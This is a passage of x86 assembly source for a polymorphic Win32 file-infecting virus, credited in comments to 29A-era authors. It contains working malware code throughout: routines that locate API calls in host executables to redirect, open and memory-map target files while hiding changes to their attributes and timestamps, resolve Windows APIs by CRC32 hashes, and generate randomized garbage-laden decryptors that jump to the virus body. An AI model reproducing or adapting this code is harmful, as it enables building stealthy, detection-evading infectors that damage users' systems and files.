		cmp al,0E8h	;Api call generated by Borland Linker?
		je try_borland

		cmp al,0FFh	;Api call generated by Microsoft Linker?
		je try_microsoft

err_api_call:	pop ecx
		loop search_call
ExitApe:	ret

try_borland:	mov eax,esi
		add eax,dword ptr [esi]			;Go to refered address
		sub eax,ebx				;Convert to rva

		mov edx,dword ptr [edi+SH_VirtualAddress]
		cmp eax,edx
		jb err_api_call				;Below code?
				
		add edx,dword ptr [edi+SH_VirtualSize]
		cmp eax,edx
		jae err_api_call			;Above code?
				
		cmp word ptr [eax+ebx-00000002h],25FFh	;JMP DWORD PTR [xxxx]
		jne err_api_call

		push dword ptr [eax+ebx]
		pop eax
		sub eax,dword ptr [ebp+host_base]	;Get a RVA again

		mov edx,dword ptr [ebp+ImportSH]
		mov ecx,dword ptr [edx+SH_VirtualAddress]
		cmp eax,ecx
		jb err_api_call				;Below imports?

		add ecx,dword ptr [edx+SH_VirtualSize]
		cmp eax,ecx
		jae err_api_call			;Above imports?

		sub eax,dword ptr [edx+SH_VirtualAddress]
		add eax,dword ptr [edx+SH_PointerToRawData]

		push dword ptr [eax+ebx]
		pop eax

		mov edx,dword ptr [ebp+ImportSH]
		mov ecx,dword ptr [edx+SH_VirtualAddress]
		cmp eax,ecx
		jb err_api_call				;Below imports?

		add ecx,dword ptr [edx+SH_VirtualSize]
		cmp eax,ecx
		jae err_api_call			;Above imports?

found_place:	;Use this point? or better continue the search?

		call get_rnd_range
		test eax,01h
		jz err_api_call

		pop eax
		mov ecx,esi
		dec ecx
		sub ecx,ebx

		ret

try_microsoft:	cmp byte ptr [esi],15h
		jne err_api_call
		mov eax,dword ptr [esi+00000001h]
		sub eax,dword ptr [ebp+host_base]

		mov edx,dword ptr [ebp+ImportSH]
		mov ecx,dword ptr [edx+SH_VirtualAddress]
		cmp eax,ecx
		jb err_api_call				;Below imports?

		add ecx,dword ptr [edx+SH_VirtualSize]
		cmp eax,ecx
		jae err_api_call			;Above imports?

		sub eax,dword ptr [edx+SH_VirtualAddress]
		add eax,dword ptr [edx+SH_PointerToRawData]
		push dword ptr [eax+ebx]
		pop eax
				
		;If file is binded eax contains the address of the API
		;Lets check if eax points to a KERNEL32 API

		cmp eax,dword ptr [ebp+K32CodeStart]
		jb inside_import
		cmp eax,dword ptr [ebp+K32CodeEnd]
		jb found_place

inside_import:	mov edx,dword ptr [ebp+ImportSH]
		mov ecx,dword ptr [edx+SH_VirtualAddress]
		cmp eax,ecx
		jb err_api_call				;Below imports?

		add ecx,dword ptr [edx+SH_VirtualSize]
		cmp eax,ecx
		jae err_api_call			;Above imports?

		jmp found_place

;----------------------------------------------------------------------------
;SEH handling routines coded by Jacky Qwerty / 29A
;----------------------------------------------------------------------------

SEH_Frame:	sub edx,edx
                push dword ptr fs:[edx]
                mov fs:[edx],esp
                jmp [esp.(02h*Pshd).RetAddr]

SEH_RemoveFrame:push 00000000h
                pop edx
                pop dword ptr [esp.(02h*Pshd).RetAddr]
                pop dword ptr fs:[edx]
                pop edx
                ret (Pshd)

SEH_SetupFrame:	call SEH_Frame
                mov eax,[esp.EH_ExceptionRecord]
                test byte ptr [eax.ER_ExceptionFlags],			\
                               EH_UNWINDING or EH_EXIT_UNWIND
                mov eax,dword ptr [eax.ER_ExceptionCode]
                jnz SEH_Search
                add eax,-EXCEPTION_ACCESS_VIOLATION
                jnz SEH_Search
                mov esp,dword ptr [esp.EH_EstablisherFrame]
                mov dword ptr fs:[eax],esp
                jmp dword ptr [esp.(02h*Pshd).Arg1]
SEH_Search:	xor eax,eax
                ret

;----------------------------------------------------------------------------
;Open file and create its memory mapped image
;
;On entry:
;		BufStrFilename	-> Buffer filled with path + filename
;		edi		-> FALSE for read-only
;				   TRUE  for read-write
;Exit:
;		eax -> Base address of memory map for file or null if error
;----------------------------------------------------------------------------

                ;------------------------------------------------------------
		;Save current file attributes
		;------------------------------------------------------------

OpenMapFile:	lea esi,dword ptr [ebp+BufStrFilename]
		push esi

		call dword ptr [ebp+a_GetFileAttributesA]

		cmp eax,0FFFFFFFFh
		je e_OpenMapFile

		mov dword ptr [ebp+CurFileAttr],eax

		;------------------------------------------------------------
                ;Blow up file attributes so we can read/write
		;------------------------------------------------------------

                push FILE_ATTRIBUTE_NORMAL		; dwFileAttributes
                push esi				; lpFileName

                call dword ptr [ebp+a_SetFileAttributesA]

                or eax,eax
                jz e_OpenMapFile

		;------------------------------------------------------------
                ;Open existing file
		;------------------------------------------------------------

                xor eax,eax
                push eax				; hTemplateFile
                push FILE_ATTRIBUTE_NORMAL		; dwFlagsAndAttributes
                push OPEN_EXISTING			; dwCreationDisposition
                push eax				; lpSecurityAttributes
                push eax				; dwShareMode
				
		or edi,edi
		jz open_ro
		mov eax,GENERIC_WRITE
open_ro:	or eax,GENERIC_READ
                push eax				; dwDesiredAccess
                
		push esi				; lpFileName

                call dword ptr [ebp+a_CreateFileA]

                cmp eax,INVALID_HANDLE_VALUE
                je Restore_Attrib

		mov dword ptr [ebp+h_CreateFile],eax

		;------------------------------------------------------------
		;Create filemapping over file
		;------------------------------------------------------------

		xor edx,edx         
                push edx				; lpName

		mov esi,dword ptr [ebp+					\
				   DirectFindData+			\
				   WFD_nFileSizeLow]
		or edi,edi
		jz size_ro
		add esi,size_virtual + 00008000h
size_ro:	push esi				; dwMaximumSizeLow

                push edx				; dwMaximumSizeHigh

		or edi,edi
		jz map_ro
		push PAGE_READWRITE
		jmp short done_map_r
map_ro:		push PAGE_READONLY		; flProtect

done_map_r:     push edx			; lpFileMappingAttributes
                push eax			; hFile

                call dword ptr [ebp+a_CreateFileMappingA]

                or eax,eax
                jz Close_Create

		mov dword ptr [ebp+h_FileMap],eax

		;------------------------------------------------------------
                ;Map file in memory, get base address
		;------------------------------------------------------------

                xor edx,edx
                push esi			; dwNumberOfBytesToMap  
                push edx			; dwFileOffsetLow
                push edx			; dwFileOffsetHigh

		or edi,edi
		jz secmap_ro
		push FILE_MAP_ALL_ACCESS
		jmp short done_secmap_ro
secmap_ro:	push FILE_MAP_READ			; dwDesiredAccess

done_secmap_ro:	push eax				; hFileMappingObject

                call dword ptr [ebp+a_MapViewOfFile]

                or eax,eax
                jz err_MapView

		mov dword ptr [ebp+map_is_here],eax

		ret

err_MapView:	call Close_Mapping
		jmp HandleClose

;----------------------------------------------------------------------------
;Unmap memory mapped file
;
;On entry:
;		ebx -> File base address in memory
;----------------------------------------------------------------------------

UnmapClose:	push ebx
                call dword ptr [ebp+a_UnmapViewOfFile]

		;------------------------------------------------------------
		;Close handle created by CreateFileMappingA
		;------------------------------------------------------------

Close_Mapping:	push dword ptr [ebp+h_FileMap]
                call dword ptr [ebp+a_CloseHandle]
		xor eax,eax
		ret

		;------------------------------------------------------------
		;Restore file time
		;------------------------------------------------------------

HandleClose:	cld
                lea eax,dword ptr [ebp+										\
				   DirectFindData+							\
				   WFD_ftLastWriteTime]
		push eax
		sub eax,00000008h
		push eax
		sub eax,00000008h
		push eax
		push dword ptr [ebp+h_CreateFile]
		call dword ptr [ebp+a_SetFileTime]

		;------------------------------------------------------------
		;Close handle created by CreateFileA
		;------------------------------------------------------------

Close_Create:	push dword ptr [ebp+h_CreateFile]
                call dword ptr [ebp+a_CloseHandle]

		;------------------------------------------------------------
		;Restore file attributes
		;------------------------------------------------------------

Restore_Attrib:	push dword ptr [ebp+CurFileAttr]
                lea eax,dword ptr [ebp+BufStrFilename]
                push eax
                call dword ptr [ebp+a_SetFileAttributesA]
				
e_OpenMapFile:	xor eax,eax
		ret

;----------------------------------------------------------------------------
;Make crc lookup table
;
;Generate a table for a byte-wise 32-bit CRC calculation on the polynomial:
;x^32+x^26+x^23+x^22+x^16+x^12+x^11+x^10+x^8+x^7+x^5+x^4+x^2+x+1.
;
;Polynomials over GF(2) are represented in binary, one bit per coefficient,
;with the lowest powers in the most significant bit.  Then adding polynomials
;is just exclusive-or, and multiplying a polynomial by x is a right shift by
;one.  If we call the above polynomial p, and represent a byte as the
;polynomial q, also with the lowest power in the most significant bit (so the
;byte 0xb1 is the polynomial x^7+x^3+x+1), then the CRC is (q*x^32) mod p,
;where a mod b means the remainder after dividing a by b.
;
;This calculation is done using the shift-register method of multiplying and
;taking the remainder.  The register is initialized to zero, and for each
;incoming bit, x^32 is added mod p to the register if the bit is a one (where
;x^32 mod p is p+x^32 = x^26+...+1), and the register is multiplied mod p by
;x (which is shifting right by one and adding x^32 mod p if the bit shifted
;out is a one).  We start with the highest power (least significant bit) of
;q and repeat for all eight bits of q.
;
;The table is simply the CRC of all possible eight bit values.  This is all
;the information needed to generate CRC's on data a byte at a time for all
;combinations of CRC register values and incoming bytes.
;
;Original C code by Mark Adler
;Translated to asm for Win32 by GriYo
;----------------------------------------------------------------------------

make_crc_tbl:	

;----------------------------------------------------------------------------
;Make exclusive-or pattern from polynomial (0EDB88320h)
;
;The following commented code is an example of how to
;make the exclusive-or pattern from polynomial
;at runtime		
;
;		xor edx,edx
;		mov ecx,0000000Eh
;		lea ebx,dword ptr [ebp+tbl_terms]
;calc_poly:	mov eax,ecx
;		xlatb
;		sub eax,0000001Fh
;		neg eax
;		bts edx,eax
;		loop calc_poly
;
;		edx contains now the exclusive-or pattern
;
;The polynomial is:
;
; X^32+X^26+X^23+X^22+X^16+X^12+X^11+X^10+X^8+X^7+X^5+X^4+X^2+X^1+X^0
;
;tbl_terms		db 0,1,2,4,5,7,8,10,11,12,16,22,23,26
;				
;----------------------------------------------------------------------------

		cld
		mov ecx,00000100h
		lea edi,dword ptr [ebp+tbl_crc32]
crc_tbl_do:	mov eax,000000FFh
		sub eax,ecx
		push ecx
		mov ecx,00000008h				
make_crc_value:	shr eax,01h
		jnc next_value
		xor eax,0EDB88320h
next_value:	loop make_crc_value				
		pop ecx
		stosd
		loop crc_tbl_do
		ret

;----------------------------------------------------------------------------
;Return a 32bit CRC of the contents of the buffer
;
;On entry:
;		esi -> Ptr to buffer
;		ecx -> Buffer size
;On exit:
;		edx -> 32bit CRC
;----------------------------------------------------------------------------

get_crc32:	cld
		push edi
		xor edx,edx
		lea edi,dword ptr [ebp+tbl_crc32]
crc_calc:	push ecx
		lodsb
		xor eax,edx
		and eax,000000FFh				
		shr edx,08h
		xor edx,dword ptr [edi+eax]
		pop ecx
		loop crc_calc
		pop edi
		ret

;----------------------------------------------------------------------------
;Get a 32bit CRC of a null terminated array
;
;On entry:
;		esi -> Ptr to string
;Exit:
;		edx -> 32bit CRC
;----------------------------------------------------------------------------

get_str_crc32:	cld
		push ecx
		push edi
		mov edi,esi
		xor eax,eax
		mov ecx,eax
crc_sz:		inc ecx
		scasb
		jnz crc_sz
		call get_crc32
		pop edi
		pop ecx
		ret

;----------------------------------------------------------------------------
;Get the entry-point of GetProcAddress
;
;On entry:
;		ebx -> KERNELL32 base address
;On exit:
;		ecx -> Address of GetProcAddress
;----------------------------------------------------------------------------

GetGetProcAddr: cld
		mov eax,dword ptr [ebx+IMAGE_DOS_HEADER.MZ_lfanew]
                mov edx,dword ptr [eax+					\
				   ebx+					\
				   NT_OptionalHeader.			\
                                   OH_DirectoryEntries.			\
                                   DE_Export.				\
                                   DD_VirtualAddress]
                add edx,ebx
		mov esi,dword ptr [edx+ED_AddressOfNames]
		add esi,ebx
		mov edi,dword ptr [edx+ED_AddressOfNameOrdinals]
		add edi,ebx
		mov ecx,dword ptr [edx+ED_NumberOfNames]				

function_loop:	lodsd
		push edx
		push esi
		lea esi,dword ptr [eax+ebx] 	;Get ptr to API name
		call get_str_crc32		;Get CRC32 of API name
		pop esi			
		cmp edx,dword ptr [ebp+CrcGetProcAddr]					
		je API_found
		inc edi
		inc edi
		pop edx
		loop function_loop
		ret

API_found:	pop edx
		movzx eax,word ptr [edi]
		sub eax,dword ptr [edx+ED_BaseOrdinal]
		inc eax
		shl eax,02h
		mov esi,dword ptr [edx+ED_AddressOfFunctions]
                add esi,eax
                add esi,ebx
                lodsd
		lea ecx,dword ptr [eax+ebx]
                ret

;----------------------------------------------------------------------------
;Get the entry-point of each needed API
;
;This routine uses the CRC32 instead of API names
;
;On entry:
;		ebx	-> Base address of DLL
;		ecx -> Number of APIs in the folling buffer
;		esi -> Buffer filled with the CRC32 of each API name
;		edi -> Recives found API addresses
;On exit:
;		ecx -> Is 00000000h if everything was ok
;----------------------------------------------------------------------------

get_APIs:	cld				
get_each_API:	push ecx
		push esi
				
		;------------------------------------------------------------
		;Get a pointers to the EXPORT data
		;------------------------------------------------------------

		mov eax,dword ptr [ebx+IMAGE_DOS_HEADER.MZ_lfanew]
                mov edx,dword ptr [eax+					\
				   ebx+					\
				   NT_OptionalHeader.			\
                                   OH_DirectoryEntries.			\
                                   DE_Export.				\
                                   DD_VirtualAddress]
                add edx,ebx
		mov esi,dword ptr [edx+ED_AddressOfNames]
		add esi,ebx
		mov ecx,dword ptr [edx+ED_NumberOfNames]				

		;------------------------------------------------------------
		;Try to find tha API name that matches given CRC32
		;------------------------------------------------------------

API_Loop:	lodsd
		push esi			;Ptr to AddressOfNames
		lea esi,dword ptr [eax+ebx]	;Get ptr to API name
		push esi			;Save ptr to API name
		call get_str_crc32		;Get CRC32 of API name
		mov esi,dword ptr [esp+00000008h]
		lodsd
		cmp eax,edx
		je CRC_API_found
		pop eax				;Remove API name from stack
		pop esi				;Ptr to RVA for next API name 
		loop API_Loop
get_API_error:	pop esi				;Ptr to CRC's of API names
		pop ecx				;Number of API's
		ret				;Exit with error (ecx!=NULL)

		;------------------------------------------------------------
		;The ptr to API name is already on stack, now push the
		;module handle and call GetProcAddress
		;------------------------------------------------------------

CRC_API_found:	push ebx	
		call dword ptr [ebp+a_GetProcAddress]

		cld		;Dont let the API call change this
		pop edx		;Remove ptr to RVA for next name

		or eax,eax
		jz get_API_error;If GetProcAddress returned NULL exit
				
		stosd		;Save the API address into given table
		pop esi		;Ptr to CRC's of API names
		lodsd
		pop ecx				
		loop get_each_API
		ret

;----------------------------------------------------------------------------
;Convert RVA to RAW
;
;On entry:
;		ebx -> Host base address
;		edx -> RVA to convert
;On exit:
;		ecx -> Pointer to RAW data or NULL if error
;		edx -> Section delta offset
;		esi -> Pointer to IMAGE_OPTIONAL_HEADER
;		edi -> Pointer to section header                
;----------------------------------------------------------------------------

RVA2RAW:        cld
                mov dword ptr [ebp+search_raw],edx
                mov esi,dword ptr [ebx+MZ_lfanew]
                add esi,ebx
                lodsd
                movzx ecx,word ptr [esi+FH_NumberOfSections]
                jecxz err_RVA2RAW
                movzx edi,word ptr [esi+FH_SizeOfOptionalHeader]
                add esi,IMAGE_SIZEOF_FILE_HEADER
                add edi,esi

		;------------------------------------------------------------
                ;Get the IMAGE_SECTION_HEADER that contains RVA
                ;
                ;At this point:
                ;
                ;ebx -> File base address
                ;esi -> Pointer to IMAGE_OPTIONAL_HEADER
                ;edi -> Pointer to first section header
                ;ecx -> Number of sections
		;
		;Check if address of imports directory is inside this
                ;section
		;------------------------------------------------------------


s_img_section:  mov eax,dword ptr [ebp+search_raw]
                mov edx,dword ptr [edi+SH_VirtualAddress]
                sub eax,edx
                cmp eax,dword ptr [edi+SH_VirtualSize]
                jb section_ok

		;------------------------------------------------------------
		;Go to next section header
		;------------------------------------------------------------

out_of_section: add edi,IMAGE_SIZEOF_SECTION_HEADER
                loop s_img_section
err_RVA2RAW:    ret

		;------------------------------------------------------------
		;Get raw
		;------------------------------------------------------------

section_ok:     mov ecx,dword ptr [edi+SH_PointerToRawData]
                sub edx,ecx
                add ecx,eax
                add ecx,ebx
                ret

;----------------------------------------------------------------------------
;Get code section header and entry-point information
;
;On entry:
;		ebx -> Host base address
;On exit:
;		ecx -> Pointer to RAW data or NULL if error
;		edx -> Entry-point RVA
;		esi -> Pointer to IMAGE_OPTIONAL_HEADER
;		edi -> Pointer to section header
;----------------------------------------------------------------------------

get_code_sh:	call get_last_sh
		mov edx,dword ptr [esi+OH_AddressOfEntryPoint]
		push edx
                call RVA2RAW
		pop edx
		ret

;----------------------------------------------------------------------------
;Get pointer to last section header
;
;On entry:
;		ebx -> Host base address
;On exit:
;		esi -> IMAGE_OPTIONAL_HEADER
;		edi -> Pointer to last section header                
;----------------------------------------------------------------------------

get_last_sh:    push ecx
                mov esi,dword ptr [ebx+MZ_lfanew]
                add esi,ebx
                cld
                lodsd
                movzx ecx,word ptr [esi+FH_NumberOfSections]
                dec ecx
                mov eax,IMAGE_SIZEOF_SECTION_HEADER
                mul ecx
                movzx edx,word ptr [esi+FH_SizeOfOptionalHeader]
                add esi,IMAGE_SIZEOF_FILE_HEADER
                add eax,edx
                add eax,esi
                mov edi,eax
		pop ecx
                ret

;----------------------------------------------------------------------------
;This routine takes a string pointed by esi and copies
;it into a buffer pointed by edi
;The result string will be converted to upper-case
;
;On entry:
;		esi -> Pointer to source string
;		edi -> Pointer to returned string
;
;On exit:
;		al  -> Null
;		edx -> Points to filename at the end of path
;		edi -> Points 1byte above the null terminator
;----------------------------------------------------------------------------

parse_filename:	mov edx,edi
		cld
ScanZstring:	lodsb				
		cmp al,"a"
		jb no_upper
		cmp al,"z"
		ja no_upper
		and al,0DFh
no_upper:	stosb
		cmp al,"\"
		jne err_slash_pos
		mov edx,edi
err_slash_pos:	or al,al
		jnz ScanZstring
		ret

;----------------------------------------------------------------------------
;Generate data area suitable for memory write access
;
;		edi -> Base address
;		ecx -> Size
;----------------------------------------------------------------------------

gen_data_area:	push eax
		push edx

		movzx eax,byte ptr [ebp+NumberOfDataAreas]
		cmp eax,NUM_DA
		jae no_more_da

		lea edx,dword ptr [ebp+tbl_data_area+eax*08h]

		mov eax,edi
		sub eax,dword ptr [ebp+map_is_here]
		add eax,dword ptr [ebp+host_base]
				
		push ecx

		mov ecx,dword ptr [ebp+virus_sh]
		sub eax,dword ptr [ecx+SH_PointerToRawData]
		add eax,dword ptr [ecx+SH_VirtualAddress]
		mov dword ptr [edx],eax

		pop ecx
		mov dword ptr [edx+00000004h],ecx

		inc byte ptr [ebp+NumberOfDataAreas]
no_more_da:	pop edx
		pop eax
		ret

;----------------------------------------------------------------------------
;Generate a block of random data
;----------------------------------------------------------------------------

gen_rnd_block:  mov eax,0000000Ah
		mov ecx,eax
                call get_rnd_range
                add ecx,eax				
		call gen_data_area
rnd_fill:       cld
rnd_fill_loop:  call get_rnd32              
                stosb
                loop rnd_fill_loop
                ret                

;----------------------------------------------------------------------------
;Linear congruent pseudorandom number generator
;----------------------------------------------------------------------------

get_rnd32:      push ecx
                push edx
                mov eax,dword ptr [ebp+rnd32_seed]
                mov ecx,41C64E6Dh
                mul ecx
                add eax,00003039h
                and eax,7FFFFFFFh
                mov dword ptr [ebp+rnd32_seed],eax
                pop edx
                pop ecx
                ret

;----------------------------------------------------------------------------
;Returns a random num between 0 and entry eax
;----------------------------------------------------------------------------

get_rnd_range:  push ecx
                push edx
                mov ecx,eax
                call get_rnd32
                xor edx,edx
                div ecx
                mov eax,edx  
                pop edx
                pop ecx
                ret

;----------------------------------------------------------------------------
;Perform encryption
;----------------------------------------------------------------------------

		;------------------------------------------------------------
		;This buffer will contain the code to "crypt" the virus code
                ;followed by a RET instruction
		;------------------------------------------------------------

perform_crypt:	db 10h dup (90h)

;----------------------------------------------------------------------------
;Generate decryptor action: Load pointer
;
;We dont need to get delta-offset, this virus assumes fixed load address
;----------------------------------------------------------------------------

gen_load_ptr:  	mov al,0B8h	
                or al,byte ptr [ebp+index_mask]
                stosb
		mov eax,dword ptr [ebp+host_base]
		add eax,dword ptr [ebp+PtrToCrypt]
		add eax,dword ptr [ebp+ptr_disp]
		mov edx,dword ptr [ebp+virus_sh]
		sub eax,dword ptr [edx+SH_PointerToRawData]
		add eax,dword ptr [edx+SH_VirtualAddress]
                test byte ptr [ebp+build_flags],CRYPT_DIRECTION
                jz fix_dir_ok
                push eax				;Fix upon direction
                call fixed_size2ecx
                xor eax,eax
                mov al,byte ptr [ebp+oper_size]
                push eax
                mul ecx
                pop ecx
                sub eax,ecx
                pop ecx
                add eax,ecx
fix_dir_ok:	stosd
		ret

;----------------------------------------------------------------------------
;Generate decryptor action: Load counter
;----------------------------------------------------------------------------

		;------------------------------------------------------------
		;Easy now, just move counter random initial value
                ;into counter reg and calculate the end value
		;------------------------------------------------------------

gen_load_ctr:   mov al,0B8h
                or al,byte ptr [ebp+counter_mask]
                stosb
                call fixed_size2ecx
                call get_rnd32
                stosd
                test byte ptr [ebp+build_flags],CRYPT_CDIR
                jnz counter_down
counter_up:     add eax,ecx
                jmp short done_ctr_dir
counter_down:   sub eax,ecx
done_ctr_dir:   mov dword ptr [ebp+end_value],eax
                ret

;----------------------------------------------------------------------------
;Generate decryptor action: Decrypt
;----------------------------------------------------------------------------

gen_decrypt:	mov eax,dword ptr [ebp+ptr_disp]
		mov dword ptr [ebp+fake_ptr_disp],eax

		mov eax,dword ptr [ebp+crypt_key]
		mov dword ptr [ebp+fake_crypt_key],eax

		mov al,byte ptr [ebp+build_flags]
		mov byte ptr [ebp+fake_build_flags],al

		mov al,byte ptr [ebp+oper_size]
		mov byte ptr [ebp+fake_oper_size],al

		mov al,byte ptr [ebp+index_mask]
		mov byte ptr [ebp+fake_index_mask],al

		call fake_or_not

		xor eax,eax
                mov al,byte ptr [ebp+oper_size]
                shr eax,01h
                shl eax,02h
                add esi,eax
                lodsd
                add eax,ebp
                mov esi,eax
                push edi
                lea edi,dword ptr [ebp+perform_crypt]
loop_string:    lodsb
                cmp al,MAGIC_ENDSTR
                je end_of_magic
                cmp al,MAGIC_ENDKEY
                je last_spell
                xor ecx,ecx
                mov cl,al
                rep movsb
                jmp short loop_string
last_spell:     call copy_key
end_of_magic:   mov al,0C3h
		stosb
		pop edi
                ret

;----------------------------------------------------------------------------
;Copy encryption key into work buffer taking care about operand size
;----------------------------------------------------------------------------

copy_key:       mov eax,dword ptr [ebp+fake_crypt_key]
                movzx ecx,byte ptr [ebp+fake_oper_size]
loop_key:       stosb
                shr eax,08h
                loop loop_key
                ret

;----------------------------------------------------------------------------
;Generate decryptor action: Move index to next step
;----------------------------------------------------------------------------

		;------------------------------------------------------------
		;Get number of bytes to inc or dec the index reg
		;------------------------------------------------------------

gen_next_step:  xor ecx,ecx
                mov cl,byte ptr [ebp+oper_size]

		;------------------------------------------------------------
		;Get number of bytes to update with this instruction
		;------------------------------------------------------------

loop_update:    mov eax,ecx
                call get_rnd_range
                inc eax

		;------------------------------------------------------------
                ;Check direction
		;------------------------------------------------------------

                test byte ptr [ebp+build_flags],CRYPT_DIRECTION
                jnz step_down

                call do_step_up
                jmp short next_update

step_down:      call do_step_down

next_update:    sub ecx,eax
		call gen_garbage
                jecxz end_update
                jmp short loop_update
end_update:     ret

		;------------------------------------------------------------
		;Move index_reg up
		;------------------------------------------------------------

do_step_up:     or eax,eax
                jz up_with_inc

		;------------------------------------------------------------
                ;Now choose ADD or SUB
		;------------------------------------------------------------

                push eax
                call get_rnd32
                and al,01h
                jnz try_sub_1

try_add_1:      mov ax,0C081h
                or ah,byte ptr [ebp+index_mask]
                stosw
                pop eax
                stosd
                ret

try_sub_1:      mov ax,0E881h
                or ah,byte ptr [ebp+index_mask]
                stosw
                pop eax
                neg eax
                stosd
                neg eax
                ret

		;------------------------------------------------------------
		;Generate INC reg_index
		;------------------------------------------------------------

up_with_inc:    mov al,40h
                or al,byte ptr [ebp+index_mask]
                stosb
                mov eax,00000001h
                ret

		;------------------------------------------------------------
		;Move index_reg down
		;------------------------------------------------------------

do_step_down:   or eax,eax
                jz down_with_dec

		;------------------------------------------------------------
                ;Now choose ADD or SUB
		;------------------------------------------------------------

                push eax
                call get_rnd32
                and al,01h
                jnz try_sub_2

try_add_2:      mov ax,0C081h
                or ah,byte ptr [ebp+index_mask]
                stosw
                pop eax
                neg eax
                stosd
                neg eax
                ret

try_sub_2:      mov ax,0E881h
                or ah,byte ptr [ebp+index_mask]
                stosw
                pop eax
                stosd
                ret

		;------------------------------------------------------------
		;Generate DEC reg_index
		;------------------------------------------------------------

down_with_dec:  mov al,48h
                or al,byte ptr [ebp+index_mask]
                stosb
                mov eax,00000001h
                ret

;----------------------------------------------------------------------------
;Generate decryptor action: Next counter value
;----------------------------------------------------------------------------

		;------------------------------------------------------------
		;Check counter direction and update counter
                ;using a INC or DEC instruction
		;------------------------------------------------------------

gen_next_ctr:   test byte ptr [ebp+build_flags],CRYPT_CDIR
                jnz upd_ctr_down
upd_ctr_up:     mov al,40h
                or al,byte ptr [ebp+counter_mask]
                jmp short upd_ctr_ok
upd_ctr_down:   mov al,48h
                or al,byte ptr [ebp+counter_mask]
upd_ctr_ok:     stosb
                ret

;----------------------------------------------------------------------------
;Generate decryptor action: Loop
;----------------------------------------------------------------------------

		;------------------------------------------------------------
		;Use counter reg in CMP instruction?
		;------------------------------------------------------------

gen_loop:       test byte ptr [ebp+build_flags],CRYPT_CMPCTR
                jnz doloopauxreg

		;------------------------------------------------------------
                ;Generate CMP counter_reg,end_value
		;------------------------------------------------------------

                mov ax,0F881h
                or ah,byte ptr [ebp+counter_mask]
                stosw
                mov eax,dword ptr [ebp+end_value]
                stosd

                jmp doloopready

		;------------------------------------------------------------
		;Get a random valid register to use in a CMP instruction
		;------------------------------------------------------------

doloopauxreg:   call get_valid_reg
                or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY

		;------------------------------------------------------------
                ;Move index reg value into aux reg
		;------------------------------------------------------------

                mov ah,byte ptr [ebx+REG_MASK]
                shl ah,03h
                or ah,byte ptr [ebp+counter_mask]
                or ah,0C0h
                mov al,8Bh
                stosw

		;------------------------------------------------------------
                ;Guess what!?
		;------------------------------------------------------------

                push ebx
                call gen_garbage
                pop ebx

		call get_rnd32
		and al,03h
		or al,al
		jz loop_use_cmp
		test al,02h
		jz loop_use_sub

		;------------------------------------------------------------
		;Generate ADD aux_reg,-end_value
		;------------------------------------------------------------

loop_use_add:	mov ax,0C081h
                or ah,byte ptr [ebx+REG_MASK]
                stosw
                mov eax,dword ptr [ebp+end_value]
		neg eax
                stosd
                jmp short done_loop_use

		;------------------------------------------------------------
		;Generate CMP aux_reg,end_value
		;------------------------------------------------------------

loop_use_cmp:	mov ax,0F881h
                jmp short loop_mask_here

		;------------------------------------------------------------
		;Generate SUB aux_reg,end_value
		;------------------------------------------------------------

loop_use_sub:	mov eax,0E881h
loop_mask_here:	or ah,byte ptr [ebx+REG_MASK]
                stosw
                mov eax,dword ptr [ebp+end_value]
                stosd

		;------------------------------------------------------------
		;Restore aux reg state
		;------------------------------------------------------------

done_loop_use:	xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY

		;------------------------------------------------------------
		;Generate conditional jump
		;------------------------------------------------------------

doloopready:    call get_rnd32
                and al,01h
                jnz doloopdown

		;------------------------------------------------------------
		;Generate the following structure:
                ;
                ;       loop_point:
                ;       ...
                ;       cmp reg,x
                ;       jne loop_point
                ;       ...
		;		jmp decrypted-code
		;------------------------------------------------------------

doloopup:       mov ax,850Fh
                stosw
                mov eax,dword ptr [ebp+loop_point]
                sub eax,edi
                sub eax,00000004h
                stosd
		call gen_garbage

		;------------------------------------------------------------
		;Insert a jump to virus code
		;------------------------------------------------------------

		mov al,0E9h
		stosb
		mov eax,dword ptr [ebp+PtrToEP]
		sub eax,edi
		sub eax,00000004h
		stosd
                ret

		;------------------------------------------------------------
		;...or this one:
                ;
                ;       loop_point:
                ;       ...
                ;       cmp reg,x
                ;       je decrypted-code
                ;       ...
                ;       jmp loop_point
                ;       ...
		;------------------------------------------------------------

doloopdown:     mov ax,840Fh
                stosw
		mov eax,dword ptr [ebp+PtrToEP]
		sub eax,edi
		sub eax,00000004h
		stosd
                call gen_garbage

		;------------------------------------------------------------
                ;Insert a jump to loop point
		;------------------------------------------------------------

                mov al,0E9h
                stosb
                mov eax,dword ptr [ebp+loop_point]
                sub eax,edi
                sub eax,00000004h
                stosd
                ret

;----------------------------------------------------------------------------
;Generate some garbage code
;----------------------------------------------------------------------------

gen_garbage:    push ecx
                push esi
		inc byte ptr [ebp+recursive_level]

                mov eax,00000002h
                call get_rnd_range
                inc eax
		inc eax
                mov ecx,eax
loop_garbage:   push ecx
                mov eax,(end_garbage-tbl_garbage)/04h
				
		cmp byte ptr [ebp+recursive_level],06h
		jae too_much_shit

                cmp byte ptr [ebp+recursive_level],02h
                jb ok_gen_num

		mov eax,(save_space-tbl_garbage)/04h

ok_gen_num:	call get_rnd_range
                lea esi,dword ptr [ebp+tbl_garbage+eax*04h]
		lodsd
                add eax,ebp
                call eax
too_much_shit:	pop ecx
                loop loop_garbage

		;------------------------------------------------------------
                ;Update recursive level
		;------------------------------------------------------------

exit_gg:        dec byte ptr [ebp+recursive_level]
                pop esi
		pop ecx
                ret

;----------------------------------------------------------------------------
;Generate MOV reg,imm
;----------------------------------------------------------------------------

		;------------------------------------------------------------
		;Generate MOV reg32,imm
		;------------------------------------------------------------

g_movreg32imm:  call get_valid_reg
                mov al,0B8h
                or al,byte ptr [ebx+REG_MASK]
                stosb
                call get_rnd32
                stosd
                ret

		;------------------------------------------------------------
		;Generate MOV reg16,imm
		;------------------------------------------------------------

g_movreg16imm:  call get_valid_reg
                mov ax,0B866h
                or ah,byte ptr [ebx+REG_MASK]
                stosw
                call get_rnd32
                stosw
                ret

		;------------------------------------------------------------
		;Generate MOV reg8,imm
		;------------------------------------------------------------

g_movreg8imm:   call get_valid_reg
                test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
                jnz a_movreg8imm
                call get_rnd32
                mov al,0B0h
                or al,byte ptr [ebx+REG_MASK]
                push eax
                call get_rnd32
                pop edx
                and ax,0004h
                or ax,dx
                stosw
a_movreg8imm:   ret

;----------------------------------------------------------------------------
;Generate mov reg,reg
;----------------------------------------------------------------------------

g_movregreg32:  call get_rnd_reg
                push ebx
                call get_valid_reg
                pop edx
